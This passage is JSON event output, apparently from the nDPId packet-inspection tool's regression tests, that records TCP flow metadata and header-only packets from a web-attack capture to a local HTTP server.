+00432{"flow_id":594,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8414,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":783436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XEtAAD4GaY2sEAABwKgKMoekAFBFSZoJZQBTI4AQAOV8ZAAAAQEICgE8xkMD5pe3"} +00432{"flow_id":591,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8418,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":891701,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z45AAD4GXkqsEAABwKgKModuAFDMdKbOqj3SgYARAOUo8wAAAQEICgE8xl4D5pK2"} +00432{"flow_id":591,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8419,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":892005,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RVNAAEAGfoXAqAoyrBAAAQBQh26qPdKBzHSmz4ARAOMj2AAAAQEICgPml9IBPMZe"} +00432{"flow_id":591,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8420,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347981,"pkt_ts_usec":892714,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z49AAD4GXkmsEAABwKgKModuAFDMdKbPqj3SgoAQAOUj1gAAAQEICgE8xl4D5pfS"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8424,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":595,"flow_packet_id":1,"flow_first_seen":1499347983061,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":595,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8424,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347983,"pkt_ts_usec":61482,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8HjdAAD4Gp5msEAABwKgKMoeyAFDTp9m1AAAAAKACchBg5QAAAgQFtAQCCAoBPMeCAAAAAAEDAwc="} +00443{"flow_id":595,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8425,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347983,"pkt_ts_usec":61576,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh7KKfm1X06fZtqAScSDNEQAAAgQFtAQCCAoD5pj2ATzHggEDAwc="} +00431{"flow_id":595,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8426,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347983,"pkt_ts_usec":62186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HjhAAD4Gp6CsEAABwKgKMoeyAFDTp9m2in5tWIAQAOVsGQAAAQEICgE8x4ID5pj2"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8433,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":596,"flow_packet_id":1,"flow_first_seen":1499347984370,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34752,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":596,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8433,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":370525,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81w5AAD4G7sGsEAABwKgKMofAAFB4CR\/HAAAAAKACchB1HQAAAgQFtAQCCAoBPMjJAAAAAAEDAwc="} +00444{"flow_id":596,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8434,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":370650,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh8AzI3sOeAkfyKAScSAppgAAAgQFtAQCCAoD5po+ATzIyQEDAwc="} +00433{"flow_id":596,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8435,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":371399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01w9AAD4G7sisEAABwKgKMofAAFB4CR\/IMyN7D4AQAOXIrAAAAQEICgE8yMoD5po+"} +00432{"flow_id":592,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8439,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":893032,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0naRAAD4GKDSsEAABwKgKMoeIAFCOM15pkpM6rYARAOVZiAAAAQEICgE8yUwD5pU+"} +00432{"flow_id":592,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":893285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oG1AAEAGI2vAqAoyrBAAAQBQh4iSkzqtjjNeaoARAONUBwAAAQEICgPmmsABPMlM"} +00432{"flow_id":592,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8441,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347984,"pkt_ts_usec":894022,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0naVAAD4GKDOsEAABwKgKMoeIAFCOM15qkpM6roAQAOVUBQAAAQEICgE8yUwD5prA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8445,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":597,"flow_packet_id":1,"flow_first_seen":1499347985686,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34766,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":597,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8445,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":686995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UVJAAD4GdH6sEAABwKgKMofOAFAxwJtBAAAAAKACchA+lAAAAgQFtAQCCAoBPMoTAAAAAAEDAwc="} +00444{"flow_id":597,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8446,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":687120,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh84CN1TUMcCbQqAScSBI+gAAAgQFtAQCCAoD5puHATzKEwEDAwc="} +00432{"flow_id":597,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8447,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":687910,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UVNAAD4GdIWsEAABwKgKMofOAFAxwJtCAjdU1YAQAOXoAQAAAQEICgE8yhMD5puH"} +00432{"flow_id":593,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":893334,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eQBAAD4GTNisEAABwKgKMoeWAFDY8733JEYFI4ARAOVQywAAAQEICgE8ykYD5pZ8"} +00433{"flow_id":593,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":893551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nplAAEAGJT\/AqAoyrBAAAQBQh5YkRgUj2PO9+IARAONLjgAAAQEICgPmm7oBPMpG"} +00432{"flow_id":593,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8453,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347985,"pkt_ts_usec":894289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eQFAAD4GTNesEAABwKgKMoeWAFDY8734JEYFJIAQAOVLjAAAAQEICgE8ykYD5pu6"} +00432{"flow_id":594,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8457,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347986,"pkt_ts_usec":893178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XExAAD4GaYysEAABwKgKMoekAFBFSZoJZQBTI4ARAOV3ZgAAAQEICgE8y0AD5pe3"} +00432{"flow_id":594,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8458,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347986,"pkt_ts_usec":893391,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0z5dAAEAG9EDAqAoyrBAAAQBQh6RlAFMjRUmaCoARAONyagAAAQEICgPmnLQBPMtA"} +00432{"flow_id":594,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8459,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347986,"pkt_ts_usec":894123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XE1AAD4GaYusEAABwKgKMoekAFBFSZoKZQBTJIAQAOVyaAAAAQEICgE8y0AD5py0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8466,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":598,"flow_packet_id":1,"flow_first_seen":1499347988233,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":598,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8466,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":233266,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aCNAAD4GXa2sEAABwKgKMofoAFBt56SsAAAAAKACchD2awAAAgQFtAQCCAoBPMyPAAAAAAEDAwc="} +00444{"flow_id":598,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8467,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":233392,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh+gH+IEYbeekraAScSDMUAAAAgQFtAQCCAoD5p4DATzMjwEDAwc="} +00433{"flow_id":598,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8468,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":234153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aCRAAD4GXbSsEAABwKgKMofoAFBt56StB\/iBGYAQAOVrWAAAAQEICgE8zI8D5p4D"} +00432{"flow_id":595,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8472,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":893855,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HjlAAD4Gp5+sEAABwKgKMoeyAFDTp9m2in5tWIARAOVmZgAAAQEICgE8zTQD5pj2"} +00433{"flow_id":595,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8473,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":894041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08\/BAAEAGz+fAqAoyrBAAAQBQh7KKfm1Y06fZt4ARAONgtQAAAQEICgPmnqgBPM00"} +00432{"flow_id":595,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8474,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347988,"pkt_ts_usec":894686,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HjpAAD4Gp56sEAABwKgKMoeyAFDTp9m3in5tWYAQAOVgsgAAAQEICgE8zTUD5p6o"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":556,"flow_packet_id":6,"flow_first_seen":1499347914710,"flow_last_seen":1499347919878,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34024,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":556,"flow_packet_id":6,"flow_first_seen":1499347914710,"flow_last_seen":1499347919878,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34024,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":557,"flow_packet_id":6,"flow_first_seen":1499347917322,"flow_last_seen":1499347922879,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34050,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":557,"flow_packet_id":6,"flow_first_seen":1499347917322,"flow_last_seen":1499347922879,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34050,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":558,"flow_packet_id":6,"flow_first_seen":1499347918608,"flow_last_seen":1499347923879,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34064,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":558,"flow_packet_id":6,"flow_first_seen":1499347918608,"flow_last_seen":1499347923879,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34064,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":559,"flow_packet_id":6,"flow_first_seen":1499347921170,"flow_last_seen":1499347926880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34090,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":559,"flow_packet_id":6,"flow_first_seen":1499347921170,"flow_last_seen":1499347926880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":560,"flow_packet_id":6,"flow_first_seen":1499347922471,"flow_last_seen":1499347927880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34104,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":560,"flow_packet_id":6,"flow_first_seen":1499347922471,"flow_last_seen":1499347927880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34104,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":561,"flow_packet_id":6,"flow_first_seen":1499347923737,"flow_last_seen":1499347928880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34118,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":561,"flow_packet_id":6,"flow_first_seen":1499347923737,"flow_last_seen":1499347928880,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8478,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":599,"flow_packet_id":1,"flow_first_seen":1499347989526,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34806,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":599,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8478,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":526061,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8S9BAAD4GegCsEAABwKgKMof2AFDafYYCAAAAAKACchCnLgAAAgQFtAQCCAoBPM3SAAAAAAEDAwc="} +00445{"flow_id":599,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8479,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":526184,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQh\/a7HZT72n2GA6AScSC0xwAAAgQFtAQCCAoD5p9GATzN0gEDAwc="} +00433{"flow_id":599,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8480,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":526749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0S9FAAD4GegesEAABwKgKMof2AFDafYYDux2U\/IAQAOVTzgAAAQEICgE8zdMD5p9G"} +00433{"flow_id":596,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":894243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01xBAAD4G7sesEAABwKgKMofAAFB4CR\/IMyN7D4ARAOXDRwAAAQEICgE8zi4D5po+"} +00432{"flow_id":596,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8485,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":894386,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05K1AAEAG3yrAqAoyrBAAAQBQh8AzI3sPeAkfyYAQAOO95AAAAQEICgPmn6MBPM4u"} +00432{"flow_id":596,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8486,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":894465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05K5AAEAG3ynAqAoyrBAAAQBQh8AzI3sPeAkfyYARAOO94wAAAQEICgPmn6MBPM4u"} +00434{"flow_id":596,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8487,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347989,"pkt_ts_usec":894984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/UpAAD4GyI2sEAABwKgKMofAAFB4CR\/JMyN7EIAQAOW94AAAAQEICgE8zi8D5p+j"} 